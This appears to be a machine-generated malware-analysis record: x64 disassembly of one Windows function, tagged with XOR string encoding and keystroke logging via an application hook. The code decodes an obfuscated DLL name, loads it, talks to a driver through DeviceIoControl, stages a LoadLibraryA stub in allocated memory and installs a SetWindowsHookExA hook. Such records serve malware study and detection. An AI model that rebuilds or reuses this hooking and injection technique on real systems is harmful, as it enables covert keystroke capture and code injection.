Function at 0x140003b50
Capabilities:
Encode data using xor
Log keystrokes via application hook

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov rax, qword [0x140042020]
xor rax, rsp
mov qword [rbp + 0x1f], rax
mov r13, rdx
mov dword [rbp - 0x59], ecx
mov ecx, 0x6e
xor edx, edx
call fcn.140001360
lea ecx, [rdx + 0x74]
mov word [rbp - 0x29], ax
lea edx, [rcx - 0x73]
call fcn.140001360
lea ecx, [rdx + 0x63]
mov word [rbp - 0x27], ax
lea edx, [rcx - 0x62]
call fcn.140001360
lea ecx, [rdx + 0x6a]
mov word [rbp - 0x25], ax
lea edx, [rcx - 0x69]
call fcn.140001360
lea edx, [rcx - 0x68]
mov word [rbp - 0x23], ax
call fcn.140001360
lea ecx, [rdx + 0x2a]
mov word [rbp - 0x21], ax
lea edx, [rcx - 0x29]
call fcn.140001360
lea ecx, [rdx + 0x5f]
mov word [rbp - 0x1f], ax
lea edx, [rcx - 0x5e]
call fcn.140001360
lea ecx, [rdx + 0x66]
mov word [rbp - 0x1d], ax
lea edx, [rcx - 0x65]
call fcn.140001360
lea edx, [rcx - 0x64]
mov word [rbp - 0x1b], ax
call fcn.140001360
xor ecx, ecx
mov word [rbp - 0x19], ax
lea edx, [rcx + 9]
call fcn.140001360
lea edx, [rcx + 0xa]
mov word [rbp - 0x17], ax
movzx ecx, word [str.pause]
call fcn.140001360
movzx ecx, word [0x14003c5be]
mov edx, 0xb
mov word [rbp - 0x15], ax
call fcn.140001360
movzx ecx, word [0x14003c5c0]
mov edx, 0xc
mov word [rbp - 0x13], ax
call fcn.140001360
movzx ecx, word [0x14003c5c2]
mov edx, 0xd
mov word [rbp - 0x11], ax
call fcn.140001360
movzx ecx, word [0x14003c5c4]
mov edx, 0xe
mov word [rbp - 0xf], ax
call fcn.140001360
movzx ecx, word [0x14003c5c6]
mov edx, 0xf
mov word [rbp - 0xd], ax
call fcn.140001360
movzx ecx, word [0x14003c5c8]
mov edx, 0x10
mov word [rbp - 0xb], ax
call fcn.140001360
movzx ecx, word [0x14003c5ca]
mov edx, 0x11
mov word [rbp - 9], ax
call fcn.140001360
movzx ecx, word [str.WindowsGhost_DLL.dll]
mov edx, 0x12
mov word [rbp - 7], ax
call fcn.140001360
mov word [rbp - 5], ax
mov r8d, 0x133
xor eax, eax
mov word [rbp - 3], ax
xor ebx, ebx
nop dword [rax]
movsxd rcx, eax
lea rdx, [rbp - 0x29]
lea rdx, [rdx + rcx*2]
lea ecx, [r8 + rax]
inc eax
xor word [rdx], cx
cmp eax, 0x13
jb 0x140003ce0
lea rcx, [rbp - 0x29]
mov word [rbp - 3], bx
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rcx, qword gs:[0x58]
mov r12, rax
mov esi, 4
add rsi, qword [rcx]
mov ecx, dword [rsi]
cmp dword [0x140049c80], ecx
jle 0x140003d63
lea rcx, [0x140049c80]
call fcn.14000a998
cmp dword [0x140049c80], 0xffffffff
jne 0x140003d63
lea rcx, [0x14002d230]
mov dword [0x140049c88], ebx
mov qword [0x140049c90], 0xffffffffffffffff
call fcn.14000ace0
lea rcx, [0x140049c80]
call fcn.14000a938
mov eax, dword [0x140049c88]
mov rcx, qword [0x140049c90]
mov dword [rbp - 1], eax
lea rax, [rbp - 0x31]
mov qword [rbp + 7], rax
mov qword [rbp - 0x31], rbx
mov dword [rbp + 3], ebx
mov qword [rbp + 0x17], 0x40
mov qword [rbp + 0xf], 0x1000
cmp rcx, 0xffffffffffffffff
jne 0x140003da1
lea rcx, str.h_driver_not_
jmp 0x140003dd4
mov qword [rsp + 0x38], rbx
lea r8, [rbp - 1]
mov qword [rsp + 0x30], rbx
mov r9d, 0x20
mov dword [rsp + 0x28], ebx
mov edx, 0x3009d220
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140003dd9
lea rcx, str.DeviceIoControl_
call fcn.140001310
mov r15, qword [rbp - 0x31]
xor ecx, ecx
mov edx, 0xc8
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
movaps xmm0, xmmword [0x140047dc0]
lea r14, [r15 + 0x60]
mov rdi, rax
mov r8, r13
mov edx, 0x50
movups xmmword [rax], xmm0
lea rbx, [rax + 0x60]
movaps xmm1, xmmword [0x140047dd0]
lea rcx, [rbx + 0x18]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x140047de0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x140047df0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x140047e00]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x140047e10]
movups xmmword [rax + 0x50], xmm1
mov qword [rax + 6], r14
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [rbx + 8], rax
call fcn.140012d40
mov eax, dword [rsi]
cmp dword [0x140049c80], eax
jle 0x140003eae
lea rcx, [0x140049c80]
call fcn.14000a998
xor r13d, r13d
cmp dword [0x140049c80], 0xffffffff
jne 0x140003eb1
lea rcx, [0x14002d230]
mov dword [0x140049c88], r13d
mov qword [0x140049c90], 0xffffffffffffffff
call fcn.14000ace0
lea rcx, [0x140049c80]
call fcn.14000a938
jmp 0x140003eb1
xor r13d, r13d
mov rcx, qword [0x140049c90]
mov eax, dword [0x140049c88]
mov word [rbp - 0x34], r13w
mov byte [rbp - 0x32], 0
mov dword [rbp - 0x39], eax
mov qword [rbp - 0x49], r15
mov qword [rbp - 0x51], rdi
mov qword [rbp - 0x41], 0xc8
mov byte [rbp - 0x35], 1
cmp rcx, 0xffffffffffffffff
jne 0x140003eed
lea rcx, str.h_driver_not_
jmp 0x140003f21
mov qword [rsp + 0x38], r13
lea r8, [rbp - 0x51]
mov qword [rsp + 0x30], r13
mov r9d, 0x20
mov dword [rsp + 0x28], r13d
mov edx, 0x3009ce20
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x140003f26
lea rcx, str.DeviceIoControl_
call fcn.140001310
mov r9d, dword [rbp - 0x59]
mov r8, r12
mov rdx, r15
mov ecx, 7
call qword [sym.imp.USER32.dll_SetWindowsHookExA]
cmp dword [rbx], 2
mov r12, rax
je 0x140004022
nop word [rax + rax]
mov ecx, dword [rsi]
cmp dword [0x140049c80], ecx
jle 0x140003f99
lea rcx, [0x140049c80]
call fcn.14000a998
cmp dword [0x140049c80], 0xffffffff
jne 0x140003f99
lea rcx, [0x14002d230]
mov dword [0x140049c88], r13d
mov qword [0x140049c90], 0xffffffffffffffff
call fcn.14000ace0
lea rcx, [0x140049c80]
call fcn.14000a938
mov rcx, qword [0x140049c90]
mov eax, dword [0x140049c88]
mov word [rbp - 0x34], r13w
mov byte [rbp - 0x32], 0
mov dword [rbp - 0x39], eax
mov qword [rbp - 0x49], r14
mov qword [rbp - 0x51], rbx
mov qword [rbp - 0x41], 0x68
mov byte [rbp - 0x35], 0
cmp rcx, 0xffffffffffffffff
jne 0x140003fd5
lea rcx, str.h_driver_not_
jmp 0x140004009
mov qword [rsp + 0x38], r13
lea r8, [rbp - 0x51]
mov qword [rsp + 0x30], r13
mov r9d, 0x20
mov dword [rsp + 0x28], r13d
mov edx, 0x3009ce20
mov qword [rsp + 0x20], r13
call qword [sym.imp.KERNEL32.dll_DeviceIoControl]
test eax, eax
jne 0x14000400e
lea rcx, str.DeviceIoControl_
call fcn.140001310
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbx], 2
jne 0x140003f50
mov rbx, qword [rbx + 0x10]
mov rcx, r12
call qword [sym.imp.USER32.dll_UnhookWindowsHookEx]
mov eax, dword [rsi]
cmp dword [0x140049c80], eax
jle 0x140004078
lea rcx, [0x140049c80]
call fcn.14000a998
cmp dword [0x140049c80], 0xffffffff
jne 0x140004078
lea rcx, [0x14002d230]
mov dword [0x140049c88], r13d
mov qword [0x140049c90], 0xffffffffffffffff
call fcn.14000ace0
lea rcx, [0x140049c80]
call fcn.14000a938
mov rdx, r15
lea rcx, [0x140049c88]
call fcn.140001370
xor edx, edx
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov rax, rbx
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.14000a7b0
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret